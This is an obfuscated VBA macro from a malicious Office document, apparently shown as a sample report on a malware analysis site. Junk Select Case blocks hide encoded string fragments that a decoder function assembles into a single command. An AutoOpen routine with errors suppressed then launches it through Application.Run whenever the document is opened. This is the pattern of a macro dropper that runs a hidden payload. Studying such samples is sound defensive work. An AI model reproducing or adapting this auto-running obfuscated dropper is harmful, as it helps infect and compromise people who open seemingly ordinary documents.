wMJmq = PswJGEj + ztTFtC("jVCQGAlBQMAIDA5AQOAMDAjBQZAADA3AwNAIDA1AgZAgDAiBAMAQGA1AgZAEDA5AAOAEDA0AwYAQGA1AwNAwHA9AQPAEEAEBQdAIDArAAVAAHAMBgeAUHAHBQRAIGAWBAd9(Nj<U%C9ziYbzpj4E", 19, 127)
Select Case uMoRJY
Case 72350
vjAANw = Fix(81614)
RpCqG = Int(89185)
Case 1212
jpzzTK = EbJhZO
soBIpp = ChrW(NIpdb)
End Select
Select Case XrhmK
Case 74874
XmRQD = Fix(54922)
tRWTMS = Int(13957)
Case 53546
wfZDH = HFiOP
jqlvKA = ChrW(NijJJo)
End Select
bPkzKhA = lBjnAMC + ztTFtC("]m(qFz9YA4AwMAUDA1AQZAkDAiBQMAMGA3AQOAQGDnA%tGZr#B2vDaMk96viL", 22, 32)
Select Case XrhmK
Case 74874
XmRQD = Fix(54922)
tRWTMS = Int(13957)
Case 53546
wfZDH = HFiOP
jqlvKA = ChrW(NijJJo)
End Select
Select Case EbzNz
Case 23444
QutRKU = Fix(714)
LDQrS = Int(91671)
Case 16205
VbSWj = pKDmzj
ssrfJW = ChrW(FFznbP)
End Select
qKHPj = bVTRjRw + ztTFtC("BHn1MAEGA5AAOAIDA0AgYAYDAjBQNAIDA1AwMAEDAwAgYAIDA1AwYAUGA1AgMAQGAiBAZAUGA0@CX()", 7, 69)
Select Case EbzNz
Case 23444
QutRKU = Fix(714)
LDQrS = Int(91671)
Case 16205
VbSWj = pKDmzj
ssrfJW = ChrW(FFznbP)
End Select
Select Case QSMvWm
Case 68751
wOQai = Fix(98002)
MISJZ = Int(94038)
Case 4335
jUmtbi = iFGhJ
oJipL = ChrW(rdsJR)
End Select
VpXHrAwH = cLSSbvV + ztTFtC("UDzipKrHjC8Zjd3BQZAEGA2AwYAgDAzA]i(ucm_lfAlMG", 14, 17)
Select Case QSMvWm
Case 68751
wOQai = Fix(98002)
MISJZ = Int(94038)
Case 4335
jUmtbi = iFGhJ
oJipL = ChrW(rdsJR)
End Select
Select Case zWKzC
Case 85288
cWVYL = Fix(81197)
jKXic = Int(50860)
Case 45180
wHYUA = dkBlPN
YYoIKS = ChrW(ciOGz)
End Select
UDqwYpzBVr = cIaWk + ztTFtC("W4Nv#[JBBwMAADAkBgZAgDAkBQYAADAiBAOAcDA5AwMAQDAjBQZAQDAxAgYAYDA5AgNAYGAiBAMAIGA1AQMAYGA5AwNAgDAzAgNAYDAyAgZAcDAhBgMAMGAxAwYAMGA2AQZAIDA1AgYAQGAzAQOAIGAkBgMAUGAiBQMAUDAxAwNAEGA5AgZAEDAZk9_FsdtY", 10, 175)
Select Case zWKzC
Case 85288
cWVYL = Fix(81197)
jKXic = Int(50860)
Case 45180
wHYUA = dkBlPN
YYoIKS = ChrW(ciOGz)
End Select
Select Case MVfWT
Case 86023
WEzasu = Fix(15060)
oAoRXu = Int(33370)
Case 27297
WlPWz = iuzqhC
PHcdh = ChrW(njAjk)
End Select
srJufMqcz = Jzmcws + ztTFtC("s(MjIMjR]()BwYrpzW)A@QbrO10w_H1", 18, 3)
Select Case MVfWT
Case 86023
WEzasu = Fix(15060)
oAoRXu = Int(33370)
Case 27297
WlPWz = iuzqhC
PHcdh = ChrW(njAjk)
End Select
Select Case whIXp
Case 14347
zXbiqQ = Fix(83388)
VdOrh = Int(94516)
Case 77291
khuuwQ = ORWAWG
UuqGM = ChrW(ilAMo)
End Select
ozwXBFPQ = DUuFNVv + ztTFtC("Zk%]D(W()Kjm(dd8jbzCZ((VZAkDA5AQOAUGAyAgZAMGAlBQNAEDAzAQMAkDAjBAOAMGAyAAMAYDAjBgMAEDAhBwMAUDA5AQNAYGAmBQNAYDA5AAOAi", 2, 90)
Select Case whIXp
Case 14347
zXbiqQ = Fix(83388)
VdOrh = Int(94516)
Case 77291
khuuwQ = ORWAWG
UuqGM = ChrW(ilAMo)
End Select
Select Case XLESE
Case 24277
aumXNJ = Fix(1612)
RENVJk = Int(73589)
Case 89569
VBVNUY = wHJwOi
dwPFj = ChrW(ZwYwT)
End Select
uAwNC = NVXsj + ztTFtC("924hNmDAjBAZAIDAjBgMAgDA2AQYAkDAmBQNAADAkBAOAMDAyAgNAUDAyAAOAIGAhBAMAkDA1AANAADAzAANAUDAmBQNAYGAxAQMAYGA2AQMAgDAxAgZAEDAOXj_(i", 7, 114)
Select Case XLESE
Case 24277
aumXNJ = Fix(1612)
RENVJk = Int(73589)
Case 89569
VBVNUY = wHJwOi
dwPFj = ChrW(ZwYwT)
End Select
Select Case ijSvvP
Case 25099
jrqfE = Fix(16275)
fqwrA = Int(68432)
Case 45879
iUwQp = MZpDF
KDKMk = ChrW(JbrcZ)
End Select
rLRRff = GZdqjlR + ztTFtC("@Zr2NOHDAzAANAQDAkBAZAEGAxAQMAUGA5AAOAkDA2AAZAMDAzAgYAIDAlBwYAMGAyAQZAYGAkBwNAYDAyAQZAADAjBgZAQGA4AQYAQGAzAQkjqtFB", 7, 101)
Select Case ijSvvP
Case 25099
jrqfE = Fix(16275)
fqwrA = Int(68432)
Case 45879
iUwQp = MZpDF
KDKMk = ChrW(JbrcZ)
End Select
Select Case ijACS
Case 45948
ObwUzw = Fix(40956)
wXTSlS = Int(94376)
Case 98016
zvcMHV = ojUHO
znwiBb = ChrW(dNWrjP)
End Select
WjYtqIl = adBRUE + ztTFtC("ERHicj9WQGA0AwYAUDAyAQNAkDAlBQNAcDAkBAMAADAzAQNAIDA4AQOAUGAkBwMAUDAiBQZAQDAyAgYAQGAxAgYAMGA0AgZAEGAyAQZAQGA1AQOAMGA3AAMAIDA3AgNAMDA4AAMAUDAlBQYAADZ8sA", 5, 138)
Select Case ijACS
Case 45948
ObwUzw = Fix(40956)
wXTSlS = Int(94376)
Case 98016
zvcMHV = ojUHO
znwiBb = ChrW(dNWrjP)
End Select
Select Case XbvtN
Case 80064
wFzsT = Fix(99096)
LXDuz = Int(4663)
Case 66000
rqvYv = ZoRdO
rPmJXw = ChrW(BtBfb)
End Select
YcRnBUV = ozBEl + ztTFtC("v#HfqGAzAAMAIGAzAAMAcDAkBwYAgDAkBgYAQDAzAgZAQGAmBQOAIDA3AQZAADA3AAOAUGA1AgZAEGAzAQOAQDAxAgNAUDAjBQYAMDAhBANAEDA0AAOAMGAyAAOAgDAhBQNAMGAyAQMAQGA3AQNAUDAhBQZAMDA1AAOAADAhBAmso2v._[Z_NoCR6.", 17, 165)
Select Case XbvtN
Case 80064
wFzsT = Fix(99096)
LXDuz = Int(4663)
Case 66000
rqvYv = ZoRdO
rPmJXw = ChrW(BtBfb)
End Select
Select Case IlCZw
Case 71808
cJiuFP = Fix(57823)
FdOXbC = Int(18672)
Case 26161
skFPcJ = fRVaj
qIKRoI = ChrW(wAAFE)
End Select
OiYuL = GbmhGYW + ztTFtC("hAAgYAIDAjBwMAcDAkBAZAUGAlBwYAIDA5AgZAADA3AQMAUDAlBgNAEDAmBANAADAyAAZAUDAmBgNAIGA4AgMAADAiBQZAYGAkBAMAEGAxAAMAcDAkBwMAYGA0AwYAEDA1AQZAgDA3AQMAQGA0AAMAEDA1AgMAgDAhBQZAYDAzAwYAEDAxAAZAUG4U9AA_)H#L$)NA8wjWfwjZU", 24, 182)
Select Case IlCZw
Case 71808
cJiuFP = Fix(57823)
FdOXbC = Int(18672)
Case 26161
skFPcJ = fRVaj
qIKRoI = ChrW(wAAFE)
End Select
Select Case avwzWJ
Case 80583
bLwHS = Fix(41148)
wBtWU = Int(82004)
Case 51924
Idvhb = UIvOGE
NMqKX = ChrW(VoTEX)
End Select
LDpMam = FCJFA + ztTFtC("DCi1NbJwwYAEGA5AwMAIGA2AwMAkDA0AAZAIGAmBgZAMGA4AgYAIDA3AQZAMDA5AgZAYDAjBAMAgDAyAgYAkDA3AQMAcDAkBQYAcDAjBQNAUGA4AAMAUDA0AAMAMGAhBgZAIDA3AAOAcDAhBwYAADA2AgYAIDAmB]A0vP", 6, 152)
Select Case avwzWJ
Case 80583
bLwHS = Fix(41148)
wBtWU = Int(82004)
Case 51924
Idvhb = UIvOGE
NMqKX = ChrW(VoTEX)
End Select
Select Case GHRAEw
Case 98267
VwOXX = Fix(56827)
GMdchw = Int(29522)
Case 9051
NJtVZh = vHXYih
zzmiGF = ChrW(iXBbCw)
End Select
fMphkq = lRjjw + ztTFtC("8mwEzAA5AwYAADAjBgYAQGA2AgNAUGA2AQYAMGA2AANAUGAwAwMAQGA3AQZAQGAjBwMAIDAhBQMAIDA5AAZAQDAlBQZAEGAhBgZAQGAxAgNAcDAmBgYAQDA4AwMAYGA1AQMAcDAlBANAADA1AQOAqB4jLNvNOo3ZBpjjj(J!zjZ", 24, 142)
Select Case GHRAEw
Case 98267
VwOXX = Fix(56827)
GMdchw = Int(29522)
Case 9051
NJtVZh = vHXYih
zzmiGF = ChrW(iXBbCw)
End Select
AXSNbIAOOI = CHuYqDsdi + zzBqDdmvC + djihFukzpR + ChrW(34) + qnKTPzEzYWd + knKiTZ + aOaGRlBi + uATGtdJdwPu + wMJmq + ozwXBFPQ + EVfawcp + uAwNC + hIRRliN + KGFLozaI + fMphkq + OYotad + PiidMui + rJhUEPnYN + WjYtqIl + uzWQwwv + UDqwYpzBVr + SCOaaZwoKZ + VpXHrAwH + KUpKkEEtG + vHIFnqrCiRF + YcRnBUV + fXhQAW + tohIhkwB + qKHPj + STmjf + WHXos + wqrJIkKiVuC + MqIGLPFC + ophUJ + bPkzKhA + AtVAdKq + cOlQDP + YtMKjoqCF + rLRRff + zKQCYbG + jwBGYINJ + VtPAoY + JaVhJ + IQsHSaSzkTA + iTETmiFOm + CrBviW + mFjiwbI + LDpMam + amPLG + nrHmJ + JtOLijWhjNf + qSEwAdO + BSVDGkCfOB + OiYuL + jaQoPFPYfsZ + TVwZEQ + srJufMqcz + LiqfjTjXMs + TFADQwjYap + nwWJzv
Select Case vPJwAi
Case 73644
uWlVvI = Fix(43053)
bEDEzJ = Int(83387)
Case 35561
VSXwbd = mXElh
cHIKi = ChrW(CpXGd)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case OwTtL
Case 66123
EkAXb = Fix(90956)
maXPGz = Int(23400)
Case 88406
DIGOr = NrAzv
NParGz = ChrW(sXAtY)
End Select
Select Case sLBazh
Case 99678
XPkFU = Fix(61459)
XIWdzB = Int(48492)
Case 20672
YzzKBC = PhlzG
QDQwY = ChrW(AqlmUP)
End Select
Application.Run "NUvdSSpE", AXSNbIAOOI
Select Case OdPYb
Case 36990
EBzkp = Fix(37952)
MUXjj = Int(61064)
Case 21628
TNDdiK = nNduf
ZAIJjG = ChrW(OFfGF)
End Select
Select Case nVODn
Case 69022
VKCVw = Fix(70474)
zOkHvn = Int(63017)
Case 75408
OZAZD = OhzXMX
YJpKVS = ChrW(znLvQ)
End Select
Select Case zUXKR
Case 78702
BzdnK = Fix(12798)
vUYaXT = Int(25230)
Case 80634
RkSNXW = NEJtft
mGXWj = ChrW(jCAOc)
End Select
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.